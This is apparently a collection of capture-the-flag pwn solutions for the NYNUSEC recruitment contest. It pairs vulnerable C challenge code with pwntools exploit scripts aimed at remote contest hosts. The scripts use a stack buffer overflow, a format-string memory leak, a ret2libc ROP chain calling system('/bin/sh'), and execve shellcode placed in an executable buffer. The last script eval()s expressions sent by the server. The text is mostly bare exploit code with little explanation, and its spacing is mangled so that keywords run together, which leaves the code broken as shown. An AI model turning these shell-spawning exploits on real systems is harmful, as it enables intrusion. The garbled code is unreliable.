from pwn import* context(os='linux',arch='amd64',log_level='debug') p=remote('node01.container.race.nynusec.com',24464) back=0x400892 p.sendafter("Who are you?",b"a"*24+p64(back)) p.interactive()
{ init(); printf("Welcome to the NYNUSEC Recruitment Competition\n"); printf("Are you ready?\n"); char wish[200]; int i = 1; seed=(unsignedint)time(NULL); puts("Please tell your wish to me and will make it come true"); fflush(stdout); read(0,wish,200); printf(wish); printf("\n"); fflush(stdout); srand(seed); for(int k=0;;k++) { if (k==50) break; int n =rand()%10; printf("Now is %d-th input",k); fflush(stdout); printf("Please input number"); fflush(stdout); scanf("%d",&a); if(n != a ) { printf("exit"); exit(1); }
❯ ./form ─╯ Welcome to the NYNUSEC Recruitment Competition Are you ready? Please tell your wish to me and will make it come true aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p aaaa-0xffe625b4-0xc8-0x80487e3-0xf7d2f1b4-0xf7f6266c-0xffe62624-0x1-0xf7d3e4be-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<unistd.h> #include<sys/mman.h> char name[0x30]; intini(){ fflush(stdin); fflush(stdout); fflush(stderr); setvbuf(stdin,0,_IONBF,0); setvbuf(stdout,0,_IONBF,0); setvbuf(stderr,0,_IONBF,0); return0; } intmenu() { puts("Welcome to NYNUS4 competition"); fflush(stdout); puts("Show me your ability"); fflush(stdout); return0; } intmain(){ ini(); menu(); setbuf(stdin,0); setbuf(stdout,0); puts("Please give me your name"); fflush(stdout); mprotect(0x601000,0x1000,PROT_READ | PROT_WRITE|PROT_EXEC); read(0,&name,0x18); puts("Good name"); fflush(stdout); puts("Let us play a game, and what game do you want to play?"); fflush(stdout); char game[16]; read(0,game,0x50);
#attack p.sendlineafter("Please give me your name",b'fuck') payload=b'M'*(0x10+8) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter("Let us play a game, and what game do you want to play?",payload)
#libc libc = LibcSearcher('puts',puts_addr) base = puts_addr - libc.dump('puts') system = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh')
#attack2
p.sendlineafter("Please give me your name",b'sh;')
Payload_Shell =b'M'*(0x10+8)+p64(ret) + p64(rdi_addr) + p64(0x6010A0) + p64(system) p.sendlineafter("Let us play a game, and what game do you want to play?",Payload_Shell)
p.interactive()
exp2
1 2 3 4 5 6 7 8 9
from pwn import * context(arch="amd64",os='linux',log_level="debug") #io=process('./pwn') io=remote("node01.container.race.nynusec.com",22024) payload1="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" io.sendlineafter("Please give me your name",payload1) payload2=b'a'*0x18+p64(0x6010A0) io.sendlineafter("Let us play a game, and what game do you want to play?",payload2) io.interactive()
#include<stdio.h> #include<stdlib.h> #include<malloc.h> int flag=1; int choice=0; int mark=0; int k=0; int HP=10000; int level=1; intinit() { fflush(stdin); fflush(stdout); fflush(stderr); setvbuf(stdin,0,_IONBF,0); setvbuf(stdout,0,_IONBF,0); setvbuf(stderr,0,_IONBF,0); return alarm(0x200); } intmenu() { puts("Welcome to NYNUS4 competition!"); fflush(stdout); puts("Please make your choice."); fflush(stdout); return0;
} intgame() { int option=0; int hp=100; puts("You are a swordsman who encountered Boss while brushing dungeons"); fflush(stdout); puts("You have three choices in front of you"); fflush(stdout);
while(choice!=3){ scanf("%d",&option); if(option==1) { puts("You use your coquettish moves to attack the boss and deduct 1 health from it"); fflush(stdout); HP--; } elseif(option==2) {
puts("You have chosen to develop obscene and wait for level improvement"); fflush(stdout); level++; } elseif(option==3) { puts("You directly stiffen the boss and die"); flag=0; puts("EXIT"); break; }
} return0;
} intgame2() { int a=0; puts("You found a hidden level"); puts("A mysterious person told you he would fulfill both of your wishes"); scanf("%d",&a); if(a==1) { int flag=0; } elseif(a==2) { int flag=1; }
from pwn import* context(os='linux',arch='amd64',log_level='debug') p=remote('node01.container.race.nynusec.com',20448) p.sendlineafter('Please make your choice.',b'1')#mark+1 p.sendlineafter('You have three choices in front of you',b'2') level=2 for i inrange(2611): p.sendlineafter('You have chosen to develop obscene and wait for level improvement',b'2') level+=1 print("level ",level) #level+1 #pause() HR=9999 p.sendlineafter('You have chosen to develop obscene and wait for level improvement\n',b'1')#HR=9999 #flag=0 for i inrange(7612): p.sendlineafter('You use your coquettish moves to attack the boss and deduct 1 health from it',b'1') HR-=1 print(HR) #pause() p.sendlineafter('You use your coquettish moves to attack the boss and deduct 1 health from it\n',b'3')#game=0
#p.sendlineafter('You have three choices in front of you',b'1')#HP-1 p.sendlineafter('Please make your choice.',b'3') payload=b'a'*0x200+2*p64(0)+b'/bin/sh' p.sendlineafter('Congratulation',payload) p.interactive() ''' HP == 2387 && mark == 1 && !flag && level == 2613
io.recvuntil('Calculate 3000 questions within the specified time frame and I will give you flag\n') expression = io.recvline().decode().strip() #接收数据 answer = eval(expression) #计算 print(f"The answer is: {answer}") io.sendlineafter("Input your answer\n",str(answer)) count=1 whileTrue: expression = io.recvline().decode().strip() answer = eval(expression) count+=1 print("conut:",count) io.sendlineafter("Input your answer\n",str(answer)) if count == 3000: break io.interactive()